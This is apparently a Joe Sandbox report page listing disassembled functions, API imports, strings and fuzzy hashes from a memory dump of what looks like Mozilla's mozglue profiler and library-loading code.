Opcode Fuzzy Hash: d860e38a358bc307edc9b11af8ff7dff7e8ed6d2a7abc46a045917c3601c6c89
Instruction Fuzzy Hash: 96C1E275E052098BCF04CFA4C5A06EEBBF2FF89718F28815DD8556BB40D772A806CB94

Function 6CEF0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 5c9ed2a0c80b7b5ac8ab0f3e554ad037977c079f83216c2bd90223fce0b9ffcb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 4A222775E00619CFDB14CF98C890AADF7B2FF89308F648299C45AA7705D770A986CF90

Function 6CF3AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ec0b189391d5ab35db4afa93ea1faf498f96a0ce2ac2aeab5d6f680957320f
Instruction ID: 13435014889b91afa431b4526fefb0dacf66646753db8ae406262f42b2850c6c
Opcode Fuzzy Hash: d1ec0b189391d5ab35db4afa93ea1faf498f96a0ce2ac2aeab5d6f680957320f
Instruction Fuzzy Hash: F8F17B72A08755AFDB00CE69C8903ABB7E2AFC5318F159A1DE4D8877C0E374D88487D2

Function 6CECC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: fb041a3853db6249727ff3ad7f6aede9410f7d2445d19f98a8ea32c2759a3800
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: EAA19071F0061A8BDB08CE69C9913AEB7F2EFC9354F198129D925E7781DB349C068BD1

Function 6CF255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CEFE1A5), ref: 6CF25606
LoadLibraryW.KERNEL32(gdi32,?,6CEFE1A5), ref: 6CF2560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CF25633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CF2563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CF2566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CF2567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CF25696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CF256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CF256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CF256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CF256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CF25716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CF2572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CF25748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CF25761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CF2577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CF25793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CF257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CF257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CF257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CF257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CF257FF

Strings

GetWindowDC, xrefs: 6CF25710
SetWindowPos, xrefs: 6CF256F7
LoadIconW, xrefs: 6CF2575B
CreateSolidBrush, xrefs: 6CF257E4
user32, xrefs: 6CF25601
GetMonitorInfoW, xrefs: 6CF257A2
GetDpiForWindow, xrefs: 6CF25690
ReleaseDC, xrefs: 6CF25742
EnableNonClientDpiScaling, xrefs: 6CF25666
CreateWindowExW, xrefs: 6CF256C5
ShowWindow, xrefs: 6CF256DE
DeleteObject, xrefs: 6CF257F9
AreDpiAwarenessContextsEqual, xrefs: 6CF25637
RegisterClassW, xrefs: 6CF256AC
GetSystemMetricsForDpi, xrefs: 6CF25677
GetThreadDpiAwarenessContext, xrefs: 6CF2562D
LoadCursorW, xrefs: 6CF25774
StretchDIBits, xrefs: 6CF257CC
gdi32, xrefs: 6CF2560A
MonitorFromWindow, xrefs: 6CF2578D
SetWindowLongPtrW, xrefs: 6CF257B7
FillRect, xrefs: 6CF25729

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 598f246edb2da3d1510852cc004e17a121e29d1de6e9c393f4f0f04fb20728dd
Instruction ID: bf1d7e3ded82fba51cbb1c62d601fc0fe510f355f89a67439ef8236c80a8cf66
Opcode Fuzzy Hash: 598f246edb2da3d1510852cc004e17a121e29d1de6e9c393f4f0f04fb20728dd
Instruction Fuzzy Hash: E6515870E217026BDF80AF794D04FAA3AB8EB56249750C825E915D2B17EBB5CC00CF60

Function 6CF0CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CED582D), ref: 6CF0CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CED582D), ref: 6CF0CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF3FE98,?,?,?,?,?,6CED582D), ref: 6CF0CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CED582D), ref: 6CF0CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CED582D), ref: 6CF0CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CED582D), ref: 6CF0CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CED582D), ref: 6CF0CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CF0CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CF0CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CF0CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CF0CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CF0CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CF0CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CF0CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CF0CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CF0CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CF0CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CF0CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CF0CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CF0CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CF0CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CF0CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CF0CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CF0CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CF0CE8A

Strings

samplingallthreads, xrefs: 6CF0CE2C
power, xrefs: 6CF0CE84
cpuallthreads, xrefs: 6CF0CE16
nostacksampling, xrefs: 6CF0CD7C
preferencereads, xrefs: 6CF0CD92
leaf, xrefs: 6CF0CC66
mainthreadio, xrefs: 6CF0CC7C
processcpu, xrefs: 6CF0CE6E
markersallthreads, xrefs: 6CF0CE42
screenshots, xrefs: 6CF0CCD4
default, xrefs: 6CF0CC21
seqstyle, xrefs: 6CF0CCE6
notimerresolutionchange, xrefs: 6CF0CE00
fileio, xrefs: 6CF0CC92
Unrecognized feature "%s"., xrefs: 6CF0CEA0
nativeallocations, xrefs: 6CF0CDA8
audiocallbacktracing, xrefs: 6CF0CDD4
stackwalk, xrefs: 6CF0CCF8
unregisteredthreads, xrefs: 6CF0CE58
fileioall, xrefs: 6CF0CCA8
ipcmessages, xrefs: 6CF0CDBE
noiostacks, xrefs: 6CF0CCBE
jsallocations, xrefs: 6CF0CD0E
java, xrefs: 6CF0CC37

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: c7fdf46e6295048bfc09457260176be541500fadad7d6c83e63bc9e183bec8af
Instruction ID: 6ca4cf33519a2310a91d411a0fe17704e171059c1683f16167c060c8f9dae058
Opcode Fuzzy Hash: c7fdf46e6295048bfc09457260176be541500fadad7d6c83e63bc9e183bec8af
Instruction Fuzzy Hash: 345177C3B4723572FA0031156D30BAB2849EB6374AF205536ED2DA5E80FF059A19E5F7

Function 6CED4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CED44B2,6CF4E21C,6CF4F7F8), ref: 6CED473E
Part of subcall function 6CED4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CED474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CED44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CED44D2
InitOnceExecuteOnce.KERNEL32(6CF4F80C,6CECF240,?,?), ref: 6CED451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CED455C
LoadLibraryW.KERNEL32(?), ref: 6CED4592
InitializeCriticalSection.KERNEL32(6CF4F770), ref: 6CED45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CED45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CED45BB
InitOnceExecuteOnce.KERNEL32(6CF4F818,6CECF240,?,?), ref: 6CED4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CED4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CED4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CED466D
VerSetConditionMask.NTDLL ref: 6CED469F
VerSetConditionMask.NTDLL ref: 6CED46AB
VerSetConditionMask.NTDLL ref: 6CED46B2
VerSetConditionMask.NTDLL ref: 6CED46B9
VerSetConditionMask.NTDLL ref: 6CED46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CED46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CED46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CED46FD

Strings

l, xrefs: 6CED4578
NativeNtBlockSet_Write, xrefs: 6CED46F7
user32.dll, xrefs: 6CED4557, 6CED463F
WRusr.dll, xrefs: 6CED44B5
kernel32.dll, xrefs: 6CED44CD

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 2cfaffed9eb5147f448ee8382632f9de28ffe229162c322e926ffcd4719a4d75
Instruction ID: 5dc449b5437154e0cb23eb962a5275dd03b7bea7777d3f896afd3dc991f26e87
Opcode Fuzzy Hash: 2cfaffed9eb5147f448ee8382632f9de28ffe229162c322e926ffcd4719a4d75
Instruction Fuzzy Hash: 7F6139B0E14344AFEB80AF60CC05B997FB8EB6230CF25C459E5089B643D7B5A946CF50

Function 6CF0F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CED4A68), ref: 6CF0945E
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF09470
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF09482
Part of subcall function 6CF09420: __Init_thread_footer.LIBCMT ref: 6CF0949F

GetCurrentThreadId.KERNEL32 ref: 6CF0F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CF0F8F9

Part of subcall function 6CED6390: GetCurrentThreadId.KERNEL32 ref: 6CED63D0
Part of subcall function 6CED6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CED63DF
Part of subcall function 6CED6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CED640E

ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0F93A
GetCurrentThreadId.KERNEL32 ref: 6CF0F98A
GetCurrentThreadId.KERNEL32 ref: 6CF0F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0F716

Part of subcall function 6CF094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF094EE
Part of subcall function 6CF094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF09508

Part of subcall function 6CECB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CECB5E0

GetCurrentThreadId.KERNEL32 ref: 6CF0F739
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0F746
GetCurrentThreadId.KERNEL32 ref: 6CF0F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF4385B,00000002,?,?,?,?,?), ref: 6CF0F829
free.MOZGLUE(?,?,00000000,?), ref: 6CF0F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CF0F866
free.MOZGLUE(?), ref: 6CF0FA0C

Part of subcall function 6CED5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CED55E1), ref: 6CED5E8C
Part of subcall function 6CED5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED5E9D
Part of subcall function 6CED5E60: GetCurrentThreadId.KERNEL32 ref: 6CED5EAB
Part of subcall function 6CED5E60: GetCurrentThreadId.KERNEL32 ref: 6CED5EB8
Part of subcall function 6CED5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED5ECF
Part of subcall function 6CED5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CED5F27
Part of subcall function 6CED5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CED5F47
Part of subcall function 6CED5E60: GetCurrentProcess.KERNEL32 ref: 6CED5F53
Part of subcall function 6CED5E60: GetCurrentThread.KERNEL32 ref: 6CED5F5C
Part of subcall function 6CED5E60: GetCurrentProcess.KERNEL32 ref: 6CED5F66
Part of subcall function 6CED5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CED5F7E

free.MOZGLUE(?), ref: 6CF0F9C5
free.MOZGLUE(?), ref: 6CF0F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CF0F71F
Thread , xrefs: 6CF0F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CF0F9A6
" attempted to re-register as ", xrefs: 6CF0F858

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: c03c53e8d10ac90d91325677ad4947eebcbafbf9c17ad9b92282fad1d8ad38ba
Instruction ID: 710203940f15be046fcbf432575fa983aa0aee8b30d443871a74eac53b650981
Opcode Fuzzy Hash: c03c53e8d10ac90d91325677ad4947eebcbafbf9c17ad9b92282fad1d8ad38ba
Instruction Fuzzy Hash: E0811371B006009FDB50DF24C840BAEB7B5EFC5308F54896DE8498BB52EB319849CB92

Function 6CF0EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CED4A68), ref: 6CF0945E
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF09470
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF09482
Part of subcall function 6CF09420: __Init_thread_footer.LIBCMT ref: 6CF0949F

GetCurrentThreadId.KERNEL32 ref: 6CF0EE60
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0EE6D
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CF0EEA5
CloseHandle.KERNEL32(?), ref: 6CF0EEB4
free.MOZGLUE(00000000), ref: 6CF0EEBB
GetCurrentThreadId.KERNEL32 ref: 6CF0EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0EECF

Part of subcall function 6CF0DE60: GetCurrentThreadId.KERNEL32 ref: 6CF0DE73
Part of subcall function 6CF0DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CED4A68), ref: 6CF0DE7B
Part of subcall function 6CF0DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CED4A68), ref: 6CF0DEB8
Part of subcall function 6CF0DE60: free.MOZGLUE(00000000,?,6CED4A68), ref: 6CF0DEFE
Part of subcall function 6CF0DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CF0DF38

Part of subcall function 6CEFCBE8: GetCurrentProcess.KERNEL32(?,6CEC31A7), ref: 6CEFCBF1
Part of subcall function 6CEFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEC31A7), ref: 6CEFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CF0EF1E
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0EF2B
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0EF59
GetCurrentThreadId.KERNEL32 ref: 6CF0EFB0
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0EFBD
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0EFE1
GetCurrentThreadId.KERNEL32 ref: 6CF0EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0F000

Part of subcall function 6CF094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF094EE
Part of subcall function 6CF094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF09508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CF0F02F

Part of subcall function 6CF0F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF0F09B
Part of subcall function 6CF0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CF0F0AC
Part of subcall function 6CF0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CF0F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CF0EED7
[I %d/%d] profiler_pause, xrefs: 6CF0F008

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: f21d3a087fa0c42b0ae47030e99c7a19f15fc95f15c7e8bb065910be9ff01dcf
Instruction ID: fafd29c1711ca002d832eb42ac0d6699d4be2004ee18937582c0219e88c9eb82
Opcode Fuzzy Hash: f21d3a087fa0c42b0ae47030e99c7a19f15fc95f15c7e8bb065910be9ff01dcf
Instruction Fuzzy Hash: 31514835F106108FDB807B64D418BDA3BB4EB5672CF10C969E92983B53DF714808C7A2

Function 6CED5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED5E9D

Part of subcall function 6CEE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CEE56EE,?,00000001), ref: 6CEE5B85
Part of subcall function 6CEE5B50: EnterCriticalSection.KERNEL32(6CF4F688,?,?,?,6CEE56EE,?,00000001), ref: 6CEE5B90
Part of subcall function 6CEE5B50: LeaveCriticalSection.KERNEL32(6CF4F688,?,?,?,6CEE56EE,?,00000001), ref: 6CEE5BD8
Part of subcall function 6CEE5B50: GetTickCount64.KERNEL32 ref: 6CEE5BE4

GetCurrentThreadId.KERNEL32 ref: 6CED5EAB
GetCurrentThreadId.KERNEL32 ref: 6CED5EB8
